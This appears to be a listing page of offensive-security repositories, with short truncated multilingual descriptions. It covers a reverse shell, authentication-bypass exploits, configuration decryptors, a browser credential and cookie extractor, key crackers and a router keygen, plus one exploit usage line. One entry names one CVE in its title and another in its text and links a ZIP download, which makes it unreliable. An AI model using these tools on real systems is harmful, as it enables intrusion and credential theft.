hershell

Hershell HINWEIS: Das Projekt wurde in dieses Repository geforkt, dort finden Sie alle weiteren Entwicklungen. Hershell ist eine einfache TCP-Reverse-Shell, geschrieben in Go. Es verwendet TLS zur Sicherung der Kommunikation und bietet eine Funktion zum Pinnen des Fingerabdrucks des öffentlichen...

hikvision_CVE-2017-7921_auth_bypass_config_decryptor

hikvisionCVE-2017-7921authbypassconfigdecryptor Questo file Python decifrerà il file di configurazione utilizzato dalle telecamere hikvision vulnerabili a CVE-2017-7921. https://www.checkpoint.com/defense/advisories/public/2017/cpai-2017-0876.html/ Descrizione Bypass dell'autenticazione delle...

CVE-2018-10933-libSSH-Authentication-Bypass

libSSH-Authentication-Bypass Erhalte ohne Anmeldedaten eine Shell mithilfe von CVE-2018-10933 Informationen zu CVE-2018-10933 von libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt Bugfix-Release von libSSH :...

CVE-2021-20323

CVE-2021-20323 Descrição Keycloak antes da versão 18.0.0 e após a 10.0.0 contém um XSS refletido no endpoint clients-registrations. O bug é acionado ao fornecer, via POST, uma estrutura json com uma chave como nome de parâmetro que não é suportada pelo endpoint. A resposta reflete a chave json em...

ProtOSINT

ProtOSINT ProtOSINT è uno script Python che ti aiuta a investigare sugli account Proton Mail. Versione Questa è ProtOSINT v2. La prima versione è stata in circolazione per alcuni anni, ma l'API di Proton è cambiata e i vecchi controlli hanno smesso di funzionare, quindi questa è una riscrittura c...

CVE-2022-40684

CVE-2022-40684 di 1vere$k Per ora è una copia POC per CVE-2022-40684 che colpisce gli appliance Fortinet FortiOS, FortiProxy e FortiSwitchManager. Copiato da https://github.com/horizon3ai/CVE-2022-40684 Analisi L'exploit utilizza il semplice payload: root@kitploit: PUT...

CVE-2024-21626-demo

CVE-2024-21626-demo Demo per il LT del Container Runtime Meetup 5. Scopo: diffondere la consapevolezza del pericolo di attacco secondo le informazioni pubbliche; l'abuso è severamente vietato. Slides Container Runtime Meetup 5 〜Quella immagine, ti fidi davvero?〜 Ottenere la root dell'host con...

JKS-private-key-cracker-hashcat

JKS private key cracker - JKS के ताबूत में कील Java Key Store JKS असममित क्रिप्टोग्राफी के लिए एक या अधिक क्रिप्टोग्राफिक निजी और सार्वजनिक कुंजियों को फ़ाइल में संग्रहीत करने का जावा तरीका है। जबकि कई की स्टोर प्रारूप हैं, जावा और एंड्रॉइड अभी भी JKS फ़ाइल प्रारूप का डिफ़ॉल्ट उपयोग करते हैं। JKS...

Laravel-CVE-2018-15133

CVE-2018-15133 - Vulnerabilità di unserializzazione di Laravel APPKEY WhiteHat School 3ª generazione, classe 28, Lee Yebin - Virtualizzazione: configurazione Docker vulnerabile https://github.com/yeahhbean/Laravel-CVE-2018-15133 Panoramica Questo progetto è un ambiente basato su Docker, allestito...

CVE-2025-38001

Labor: CVE-2025-41744 - Verwendung eines Standard-Kryptographieschlüssels in Sprecher Automation SPRECON-E-C Download Download Lab ZIP : https://github.com/boeseejykbtanke348/CVE-2025-38001/releases/download/Release/CVE-2025-38001.zip 🚀 Überblick CVE-2025-41744 ist eine kritische Schwachstelle, d...

CVE-2022-23529-Exploration

CVE-2022-23529 Le versioni della libreria JSON Web Token JWT precedenti alla 3.4.6, alla 4.0.4 e alla 4.1.5 sono vulnerabili a RCE. Le funzioni di hashing HMAC accettano qualsiasi stringa come input, il che porta a RCE. A causa delle precondizioni, è improbabile che questa vulnerabilità sia...

CVE-2020-0601-spoofkey

CVE-2020-0601-spoofkey Чтобы узнать, как создать поддельный ключ и подписать код ТРЕБУЕТСЯ: openssl, main.rb который я загрузил ПОСЕТИТЕ : https://twitter.com/exploitblizzard...

Fortinet-CVE-2022-40684

Fortinet-CVE-2022-40684 Werkzeugübersicht Ein schnelles Exploit-Tool für CVE-2022-40684, Anfängercode – bei Problemen gerne ein Issue eröffnen. Verwendung main -t http://127.0.0.1 -u admin -f path-of-ssh-key.pub Haftungsausschluss Dieses Tool ist ausschließlich für legal autorisierte...

CurveBall-CVE-2020-0601-PoC

CurveBall CVE-2020-0601 - PoC Questa vulnerabilità, nota come CurveBall, è dovuta a una verifica non valida dei certificati che utilizzano l'algoritmo ECC. Windows tenta di verificare i certificati precedentemente verificati dalla cache dei certificati e, facendo ciò, controlla solo se le chiavi...

Blacklist3r

Blacklist3r L'obiettivo di questo progetto è accumulare le chiavi segrete / materiali segreti relativi a vari framework web, che sono pubblicamente disponibili e potenzialmente utilizzati dagli sviluppatori. Questi segreti verranno utilizzati dagli strumenti Blacklist3r per verificare...

badkeys

badkeys Werkzeug und Bibliothek zum Überprüfen von kryptografischen öffentlichen Schlüsseln auf bekannte Schwachstellen was? badkeys überprüft öffentliche Schlüssel in verschiedenen Formaten auf bekannte Schwachstellen. Eine Webversion ist unter badkeys.info verfügbar. Installation badkeys kann v...

Hikvision-CVE-2017-7921-decryptor

hikvisionCVE-2017-7921authbypassconfigdecryptor Questo file Python decripta il file di configurazione utilizzato dalle telecamere hikvision vulnerabili a CVE-2017-7921. https://www.checkpoint.com/defense/advisories/public/2017/cpai-2017-0876.html/ Descrizione Bypass dell'autenticazione delle...

ZeroCrumb

ZeroCrumb Estrazione di Credenziali e Cookie Protetti da App Bound Senza Privilegi. Spiegazione ZeroCrumb bypassa il Chrome Elevation Service impersonando un'istanza di Chrome tramite Transacted Hollowing, consentendoci di fatto di usare l'interfaccia COM IElevator per decrittare la App Bound Key...

CVE-2019-6693

CVE-2019-6693 Decifrare i segreti di configurazione di FortiGate Avviso originale Avviso del fornitore Per le VM/appliances FortiGate con versioni inferiori a 6.2.0, da 6.0.0 a 6.0.6, 5.6.10 i segreti di configurazione vengono memorizzati crittografati con una chiave unica. Per le versioni...

zyxel-vmg8825-keygen

Zyxel VMG8825-T50 Keygen per Supervisor Questo progetto contiene le seguenti funzioni implementate in Python 3: Nome funzione| Validità ---|--- zcfgBeCommonGenKeyBySerialNumCBT | ❓ zcfgBeCommonGenKeyBySerialNumMethod2 | ✅ zcfgBeCommonGenKeyBySerialNumMethod3 | ✅...